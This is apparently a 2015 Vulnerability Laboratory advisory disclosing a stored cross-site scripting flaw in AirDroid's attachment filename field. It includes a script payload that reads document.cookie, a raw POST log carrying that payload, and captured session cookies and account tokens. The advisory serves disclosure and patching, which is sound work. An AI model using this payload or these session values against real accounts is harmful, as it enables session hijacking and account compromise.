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Document Title:
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===============
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Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1543
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Release Date:
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=============
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2015-07-20
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1543
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Common Vulnerability Scoring System:
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====================================
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3.9
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Product & Service Introduction:
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===============================
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AirDroid allows you to access wirelessly and for free on your Android phone or tablet from Windows, Mac or the Internet, and to control it.
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(Copy of the Product Homepage: https://www.airdroid.com/de/ )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official SandStudio AirDroid (windows, ios and android) mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2015-07-05: Researcher Notification & Coordination (Hadji Samir)
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2015-07-06: Vendor Notification (Security Team)
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2015-07-20: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Sand Studio
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Product: AirDroid iOS Application (Andoird, Windows, MacOS & Web) 3.1.3
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Technical Details & Description:
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================================
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A persistent input validation web vulnerability has been discovered in the official SandStudio AirDroid (windows, ios and android) mobile web-application.
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The vulnerability allows remote attacker or low privilege user accounts to inject malicious codes to the application-side of the affected mobile web-application.
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The vulnerability is located in the send messages and the send message with an attached file module. Remote attackers with low privilege user account are able to upload file name
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with malicious strings like ``><script>alert(1).txt. On the arrival inbox occurs the execution of the malicious code that compromises the other target system/device user account.
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The vulnerability is located on the application-side and the request method to inject is POST.
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The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
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Exploitation of the application-side web vulnerability requires a low privilege web-application user account and low user interaction.
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Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious
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sources and application-side manipulation of affected or connected module context.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] Send Message
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] Message Inbox
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Proof of Concept (PoC):
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=======================
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The vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction (click).
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For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
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PoC:
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<span class="name">"><"><script>alert(document.cookie).txt< span="">[PERSISTENT INJECTED SCRIPT CODE]
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<span class="progress-rate">100%</span>
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<a class="attach-del-icon"></a>
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</scrip...txt<></span>
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--- PoC Session Logs [POST] ---
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11:13:00.993[0ms][total 0ms] Status: pending[]
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POST https://upload.airdroid.com/sms/attachment/?fn=%22%3E%3Cscript%3Ealert(document.cookie).txt&d=&after=0&rtype=0&origin=http%3A%2F%2Fweb.airdroid.com&country=DZ&fname=%22%3E%3Cscript%3Ealert(document.cookie).txt
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Load Flags[LOAD_BYPASS_CACHE ] Content Size[unknown] Mime Type[unknown]
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Request Headers:
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Host[upload.airdroid.com]
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User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[en-US,en;q=0.5]
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Accept-Encoding[gzip, deflate]
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Content-Type[application/octet-stream]
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Referer[http://web.airdroid.com/]
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Content-Length[5281]
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Origin[http://web.airdroid.com]
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Cookie[_SESSION=0b484eb230f27c004a7e990bace6175a416b58ed-%00_TS%3A1438769709%00; _ga=GA1.2.1046706455.1436177514; _gat=1; account_sid=c51d21b583ce76c04c8d4fa5a5c7496e; account_info=aW5mby5kaW1hbmV0QGdtYWlsLmNvbQ%3D%3D%2C63b971b729a756a3c1eb0fec6cccb736%2C9731220%2C59fd7af875fa5434a86e5397c79380d2]
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Post Data:
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POST_DATA[-PNG
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Note: We demonstrated the poc by usage of the web-app but the local app is also vulnerable to the same issue!
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Solution - Fix & Patch:
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=======================
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The vulnerbaility can be patched by a secure parse and encode of the vulnerable filename value in the send message module with the attach file function.
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Security Risk:
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==============
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The security risk of the application-side input validation web vulnerability in the airdroid app is estimated as medium. (CVSS 3.9)
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
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or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
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in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
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policies, deface websites, hack into databases or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY - RESEARCH TEAM
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